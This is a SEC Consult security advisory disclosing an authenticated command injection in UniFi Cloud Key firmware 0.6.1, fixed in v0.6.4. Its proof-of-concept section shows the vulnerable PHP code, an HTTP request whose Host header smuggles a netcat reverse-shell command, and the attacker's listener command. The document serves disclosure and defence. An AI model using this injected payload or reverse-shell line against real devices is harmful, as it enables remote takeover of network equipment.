Ubiquiti Networks UniFi Cloud Key Firmware 0.6.1 Command Injection

Ubiquiti Networks UniFi Cloud Key with firmware version 0.6.1 suffers from an authenticated command injection vulnerability.

MD5 | cec2c4c027f77927bb4c9350db9a32ba

SEC Consult Vulnerability Lab Security Advisory < 20170804-1 >
title: Authenticated Command Injection
product: Ubiquiti Networks UniFi Cloud Key
vulnerable version: Firmware v0.6.1
fixed version: Firmware v0.6.4
CVE number:
impact: High
homepage: https://www.ubnt.com
found: 2017-03-26
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab

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Vendor description:
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."

Source: http://ir.ubnt.com/

Business recommendation:
SEC Consult recommends not to use this device in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.

Vulnerability overview/description:
A command injection can be triggered via the hostname header in the status GET
request. This vulnerability can be exploited when the Cloud Key web interface
is exposed to the Internet and an attacker has credentials to it.

Proof of concept:
The following PHP snipplet is responsible for the command execution vulnerability:

(api.inc, line 265)
function is_unifi_running() {
if (!isset($_SERVER['HTTP_HOST'])) {
$c_host = $_SERVER['SERVER_ADDR'];
} else {
$c_host = $_SERVER['HTTP_HOST'];
$unifi_href = 'http://' . $c_host . ':8080/status';
exec(CMD_CURL . $unifi_href, $out, $rc);
if ($rc == 0) {
return true;
return false;

Since '$c_host' is not filtered, a command injection is possible.

The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system ( to the attacker (
GET /api/status HTTP/1.1
Host:;busybox nc 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Cookie: CKSESSIONID=<Session-ID>
Connection: close

As the listener, netcat was used:
$ nc -lvp 8999

Vulnerable / tested versions:
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version
was the latest at the time the security vulnerabilities were discovered.

Vendor contact timeline:
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-05-16: Vendor closed the ticked and changed the status to resolved.
Current firmware version was v0.6.4. Set the publication
date to 2017-08-04 (at least 90 days after fix).
2017-08-04: Public release of security advisory

Upgrade to v0.6.4 or above.


Advisory URL:


SEC Consult Vulnerability Lab

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EOF T. Weber / @2017

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